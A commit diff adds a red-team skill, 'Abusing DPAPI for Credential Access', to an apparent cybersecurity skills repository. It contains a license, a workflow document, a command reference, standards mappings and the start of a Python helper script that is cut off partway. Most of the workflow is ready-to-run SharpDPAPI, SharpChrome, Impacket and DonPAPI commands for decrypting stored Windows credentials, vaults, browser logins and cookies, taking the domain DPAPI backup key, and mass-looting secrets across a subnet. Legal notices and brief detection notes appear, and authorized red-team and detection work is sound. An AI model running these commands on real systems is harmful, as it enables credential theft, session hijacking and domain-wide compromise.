mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-18 21:49:40 +03:00
Add 55 new skills across 3 new domains + 6 undercovered areas (762 -> 817)
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):
- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
invocation, guardrails, model/data poisoning, system-prompt leakage,
embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration
Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,209 @@
|
||||
---
|
||||
name: abusing-dpapi-for-credential-access
|
||||
description: Extract DPAPI-protected secrets such as credentials and browser data offline and online.
|
||||
domain: cybersecurity
|
||||
subdomain: red-teaming
|
||||
tags:
|
||||
- red-team
|
||||
- credential-access
|
||||
- dpapi
|
||||
- sharpdpapi
|
||||
- post-exploitation
|
||||
- active-directory
|
||||
- windows
|
||||
- mimikatz
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1555.004
|
||||
---
|
||||
# Abusing DPAPI for Credential Access
|
||||
|
||||
> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.
|
||||
|
||||
## Overview
|
||||
|
||||
The Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual "DPAPI blobs." The encrypted master keys live under `%APPDATA%\Microsoft\Protect\<SID>\` (user) and `%WINDIR%\System32\Microsoft\Protect\` (machine).
|
||||
|
||||
Red teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:
|
||||
|
||||
1. **Online / context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `/unprotect` flag uses this.
|
||||
2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `/password:` or `/ntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).
|
||||
3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `/pvk:`.
|
||||
|
||||
The canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote/offline triage.
|
||||
|
||||
## When to Use
|
||||
|
||||
- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.
|
||||
- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.
|
||||
- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.
|
||||
- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.
|
||||
- During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.
|
||||
- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.
|
||||
- Tooling (compile from source or use release binaries; obtain only from official upstreams):
|
||||
|
||||
```bash
|
||||
# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
|
||||
git clone https://github.com/GhostPack/SharpDPAPI.git
|
||||
# Open SharpDPAPI.sln and build Release, or:
|
||||
msbuild SharpDPAPI.sln /p:Configuration=Release
|
||||
|
||||
# Mimikatz (original DPAPI implementation)
|
||||
# https://github.com/gentilkiwi/mimikatz/releases
|
||||
|
||||
# Linux remote/offline triage (Impacket)
|
||||
pipx install impacket # provides dpapi.py / impacket-dpapi
|
||||
pipx install donpapi # https://github.com/login-securite/DonPAPI
|
||||
```
|
||||
|
||||
## Objectives
|
||||
|
||||
- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.
|
||||
- Decrypt user master keys online (`/unprotect`), with a password/hash, or with the domain backup key.
|
||||
- Recover plaintext Credential Manager and Vault secrets.
|
||||
- Extract browser saved logins and cookies with SharpChrome.
|
||||
- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
|
||||
| Technique ID | Name | Tactic | Relevance |
|
||||
|--------------|------|--------|-----------|
|
||||
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |
|
||||
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |
|
||||
| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Triage the host for DPAPI blobs
|
||||
|
||||
Run the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:
|
||||
|
||||
```powershell
|
||||
# Online triage in the current user's context (uses CryptUnprotectData)
|
||||
SharpDPAPI.exe triage /unprotect
|
||||
|
||||
# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
|
||||
SharpDPAPI.exe machinetriage
|
||||
```
|
||||
|
||||
### 2. Decrypt user master keys offline (password or NTLM hash)
|
||||
|
||||
If you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:
|
||||
|
||||
```powershell
|
||||
# Decrypt all of the current/specified user's master keys with the password
|
||||
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
|
||||
|
||||
# Decrypt master keys with the user's NTLM hash instead of the password
|
||||
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
|
||||
|
||||
# Output is GUID:SHA1 lines — feed them to credentials/vaults commands
|
||||
```
|
||||
|
||||
### 3. Recover Credential Manager and Vault secrets
|
||||
|
||||
Use the decrypted master-key mapping (or `/pvk:`) to decrypt the stored credentials and vault entries:
|
||||
|
||||
```powershell
|
||||
# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
|
||||
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
|
||||
|
||||
# Or point at a target Credentials folder and decrypt with the domain backup key
|
||||
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
|
||||
|
||||
# Decrypt Credential Vault entries
|
||||
SharpDPAPI.exe vaults /pvk:backupkey.pvk
|
||||
```
|
||||
|
||||
### 4. Decrypt RDP, KeePass, and certificate secrets
|
||||
|
||||
```powershell
|
||||
# Saved RDCMan.settings RDP passwords (current user context)
|
||||
SharpDPAPI.exe rdg /unprotect
|
||||
|
||||
# KeePass DPAPI-protected master keys
|
||||
SharpDPAPI.exe keepass /unprotect
|
||||
|
||||
# Certificate private keys (export usable .pem with /showall for all stores)
|
||||
SharpDPAPI.exe certificates /unprotect /showall
|
||||
```
|
||||
|
||||
### 5. Extract browser credentials with SharpChrome
|
||||
|
||||
SharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound "state key" that SharpChrome resolves via DPAPI:
|
||||
|
||||
```powershell
|
||||
# Decrypt saved logins for the current user
|
||||
SharpChrome.exe logins /unprotect
|
||||
|
||||
# Decrypt cookies (useful for session hijacking) in a target folder
|
||||
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
|
||||
|
||||
# Resolve the AES state key explicitly
|
||||
SharpChrome.exe statekeys /unprotect
|
||||
```
|
||||
|
||||
### 6. Obtain the domain DPAPI backup key (Domain Admin)
|
||||
|
||||
With Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:
|
||||
|
||||
```powershell
|
||||
# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
|
||||
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
|
||||
```
|
||||
|
||||
Then decrypt any user's master keys offline with it:
|
||||
|
||||
```powershell
|
||||
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
|
||||
```
|
||||
|
||||
### 7. Remote / Linux-based triage (Impacket / DonPAPI)
|
||||
|
||||
From a Linux operator box, harvest and decrypt DPAPI secrets across hosts:
|
||||
|
||||
```bash
|
||||
# Decrypt a single masterkey file with Impacket using the domain backup key
|
||||
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
|
||||
|
||||
# Decrypt a credential blob with the recovered masterkey
|
||||
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
|
||||
|
||||
# Mass remote DPAPI looting across hosts with DonPAPI
|
||||
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
|
||||
```
|
||||
|
||||
## Tools and Resources
|
||||
|
||||
| Tool | Purpose | Link |
|
||||
|------|---------|------|
|
||||
| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |
|
||||
| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |
|
||||
| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https://github.com/gentilkiwi/mimikatz |
|
||||
| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |
|
||||
| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |
|
||||
| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
|
||||
|
||||
## Detection and OPSEC Notes
|
||||
|
||||
- Master-key access and reads of `\Microsoft\Protect\` and `\Microsoft\Credentials\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.
|
||||
- The `/unprotect` (online) path is the stealthiest single-host option but only works as the live user.
|
||||
- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- [ ] Host triaged with `SharpDPAPI triage` / `machinetriage`.
|
||||
- [ ] User master keys decrypted via `/unprotect`, `/password:`, `/ntlm:`, or `/pvk:`.
|
||||
- [ ] Credential Manager and Vault secrets recovered.
|
||||
- [ ] RDP / KeePass / certificate secrets extracted where present.
|
||||
- [ ] Browser logins/cookies decrypted with SharpChrome.
|
||||
- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.
|
||||
- [ ] All recovered secrets documented with source host/user and ROE adherence confirmed.
|
||||
@@ -0,0 +1,73 @@
|
||||
# SharpDPAPI / DPAPI — Command Reference
|
||||
|
||||
## SharpDPAPI User Commands
|
||||
|
||||
| Command | Purpose | Example |
|
||||
|---------|---------|---------|
|
||||
| `triage` | Auto-run credentials, vaults, rdg, certificates | `SharpDPAPI.exe triage /unprotect` |
|
||||
| `masterkeys` | Decrypt user master keys (GUID:SHA1 output) | `SharpDPAPI.exe masterkeys /password:Pass` |
|
||||
| `credentials` | Decrypt Credential Manager blobs | `SharpDPAPI.exe credentials /pvk:key.pvk` |
|
||||
| `vaults` | Decrypt Credential Vault entries | `SharpDPAPI.exe vaults /pvk:key.pvk` |
|
||||
| `rdg` | Decrypt RDCMan.settings RDP passwords | `SharpDPAPI.exe rdg /unprotect` |
|
||||
| `keepass` | Decrypt KeePass DPAPI keys | `SharpDPAPI.exe keepass /unprotect` |
|
||||
| `certificates` | Decrypt certificate private keys | `SharpDPAPI.exe certificates /unprotect /showall` |
|
||||
|
||||
## SharpDPAPI Machine Commands (require admin/SYSTEM)
|
||||
|
||||
| Command | Purpose |
|
||||
|---------|---------|
|
||||
| `machinemasterkeys` | Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |
|
||||
| `machinecredentials` | Decrypt machine credential blobs |
|
||||
| `machinevaults` | Decrypt machine vault entries |
|
||||
| `machinetriage` | Run all machine-scoped triage commands |
|
||||
|
||||
## SharpDPAPI Supporting Commands
|
||||
|
||||
| Command | Purpose | Example |
|
||||
|---------|---------|---------|
|
||||
| `backupkey` | Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | `SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk` |
|
||||
|
||||
## Common Flags
|
||||
|
||||
| Flag | Meaning |
|
||||
|------|---------|
|
||||
| `/unprotect` | Use live `CryptUnprotectData` in current user context (online) |
|
||||
| `/password:<pw>` | Decrypt master keys with the user's plaintext password |
|
||||
| `/ntlm:<hash>` | Decrypt master keys with the user's NTLM hash |
|
||||
| `/pvk:<file>` | Use domain backup private key for decryption |
|
||||
| `/mkfile:<file>` | Provide a specific master key file |
|
||||
| `/server:<dc>` | Target DC for backupkey retrieval |
|
||||
| `/target:<path>` | Target file/folder to decrypt |
|
||||
| `/rpc` | Use RPC to request master key decryption from a DC |
|
||||
| `/showall` | Show all certificate stores / verbose output |
|
||||
|
||||
## SharpChrome Commands
|
||||
|
||||
| Command | Purpose | Example |
|
||||
|---------|---------|---------|
|
||||
| `logins` | Decrypt saved browser logins | `SharpChrome.exe logins /unprotect` |
|
||||
| `cookies` | Decrypt browser cookies | `SharpChrome.exe cookies /pvk:key.pvk` |
|
||||
| `statekeys` | Decrypt the AES app-bound state key | `SharpChrome.exe statekeys /unprotect` |
|
||||
|
||||
## Impacket dpapi.py (Linux)
|
||||
|
||||
| Subcommand | Purpose | Example |
|
||||
|------------|---------|---------|
|
||||
| `masterkey` | Decrypt a master key file | `impacket-dpapi masterkey -file MK -pvk key.pvk` |
|
||||
| `credential` | Decrypt a credential blob | `impacket-dpapi credential -file CRED -key 0x<mk>` |
|
||||
| `vault` | Decrypt vault policy/creds | `impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>` |
|
||||
| `backupkeys` | Retrieve domain backup keys | `impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk` |
|
||||
|
||||
## Key File Locations
|
||||
|
||||
| Path | Contents |
|
||||
|------|----------|
|
||||
| `%APPDATA%\Microsoft\Protect\<SID>\` | User master keys |
|
||||
| `%WINDIR%\System32\Microsoft\Protect\` | Machine master keys |
|
||||
| `%LOCALAPPDATA%\Microsoft\Credentials\` | Credential Manager blobs |
|
||||
| `%APPDATA%\Microsoft\Vault\` / `%LOCALAPPDATA%\Microsoft\Vault\` | Credential Vault |
|
||||
|
||||
## External References
|
||||
|
||||
- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI
|
||||
- Impacket: https://github.com/fortra/impacket
|
||||
@@ -0,0 +1,30 @@
|
||||
# Standards and References — Abusing DPAPI for Credential Access
|
||||
|
||||
## NIST CSF 2.0
|
||||
|
||||
| ID | Name | Rationale |
|
||||
|----|------|-----------|
|
||||
| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface. |
|
||||
|
||||
## MITRE ATT&CK
|
||||
|
||||
| Technique ID | Name | Tactic | Rationale |
|
||||
|--------------|------|--------|-----------|
|
||||
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials. |
|
||||
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected browser logins/cookies. |
|
||||
| T1003 | OS Credential Dumping | Credential Access | Extracting master keys and the domain backup key dumps credential material. |
|
||||
|
||||
## Supporting Frameworks and Standards
|
||||
|
||||
- **MS-BKRP** — BackupKey Remote Protocol; the RPC interface used to retrieve the domain DPAPI backup key.
|
||||
- **MS-DPSP / DPAPI** — Microsoft's Data Protection API specification governing master keys and blob protection.
|
||||
- **D3FEND** — Credential Eviction / Password Rotation as mitigations after DPAPI compromise.
|
||||
|
||||
## Official Resources
|
||||
|
||||
- SharpDPAPI / SharpChrome: https://github.com/GhostPack/SharpDPAPI
|
||||
- Mimikatz: https://github.com/gentilkiwi/mimikatz
|
||||
- Impacket: https://github.com/fortra/impacket
|
||||
- DonPAPI: https://github.com/login-securite/DonPAPI
|
||||
- HackTricks DPAPI: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
- SpecterOps "Operational Guidance for Offensive User DPAPI Abuse": https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107
|
||||
@@ -0,0 +1,154 @@
|
||||
#!/usr/bin/env python3
|
||||
# For authorized penetration testing and educational environments only.
|
||||
# Usage against targets without prior mutual written consent is illegal.
|
||||
# It is the end user's responsibility to obey all applicable laws.
|
||||
"""DPAPI triage orchestrator.
|
||||
|
||||
Locates DPAPI artifacts (master keys, Credential Manager blobs, Vault entries)
|
||||
on a mounted/exfiltrated user profile and drives SharpDPAPI (on Windows) or
|
||||
Impacket's dpapi.py (cross-platform) to decrypt them with a supplied password,
|
||||
NTLM hash, or domain backup key (.pvk).
|
||||
|
||||
This is an operator helper: it builds and runs the real tool commands and
|
||||
parses their output; it does not reimplement DPAPI cryptography.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
|
||||
# Standard relative locations inside a Windows user profile.
|
||||
PROTECT_REL = os.path.join("AppData", "Roaming", "Microsoft", "Protect")
|
||||
CRED_REL = os.path.join("AppData", "Local", "Microsoft", "Credentials")
|
||||
VAULT_LOCAL_REL = os.path.join("AppData", "Local", "Microsoft", "Vault")
|
||||
VAULT_ROAM_REL = os.path.join("AppData", "Roaming", "Microsoft", "Vault")
|
||||
|
||||
|
||||
def find_tool(candidates):
|
||||
"""Return the first available tool path from candidates, else None."""
|
||||
for name in candidates:
|
||||
path = shutil.which(name)
|
||||
if path:
|
||||
return path
|
||||
return None
|
||||
|
||||
|
||||
def enumerate_artifacts(profile):
|
||||
"""Walk a user profile and collect DPAPI artifact file paths."""
|
||||
found = {"masterkeys": [], "credentials": [], "vaults": []}
|
||||
mapping = {
|
||||
"masterkeys": os.path.join(profile, PROTECT_REL),
|
||||
"credentials": os.path.join(profile, CRED_REL),
|
||||
"vaults": os.path.join(profile, VAULT_LOCAL_REL),
|
||||
}
|
||||
for key, base in mapping.items():
|
||||
if not os.path.isdir(base):
|
||||
continue
|
||||
for root, _dirs, files in os.walk(base):
|
||||
for fname in files:
|
||||
# Master keys are GUID-named; skip preferred/BK marker files noise.
|
||||
found[key].append(os.path.join(root, fname))
|
||||
# Also include roaming vault if present.
|
||||
vroam = os.path.join(profile, VAULT_ROAM_REL)
|
||||
if os.path.isdir(vroam):
|
||||
for root, _dirs, files in os.walk(vroam):
|
||||
for fname in files:
|
||||
found["vaults"].append(os.path.join(root, fname))
|
||||
return found
|
||||
|
||||
|
||||
def run_cmd(cmd, timeout):
|
||||
"""Run an external command and return (rc, stdout, stderr)."""
|
||||
try:
|
||||
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
||||
return proc.returncode, proc.stdout, proc.stderr
|
||||
except FileNotFoundError:
|
||||
return 127, "", f"tool not found: {cmd[0]}"
|
||||
except subprocess.TimeoutExpired:
|
||||
return 124, "", f"timeout after {timeout}s"
|
||||
|
||||
|
||||
def decrypt_masterkey_impacket(tool, mk_file, pvk, timeout):
|
||||
"""Decrypt one master key file via impacket-dpapi using a backup .pvk."""
|
||||
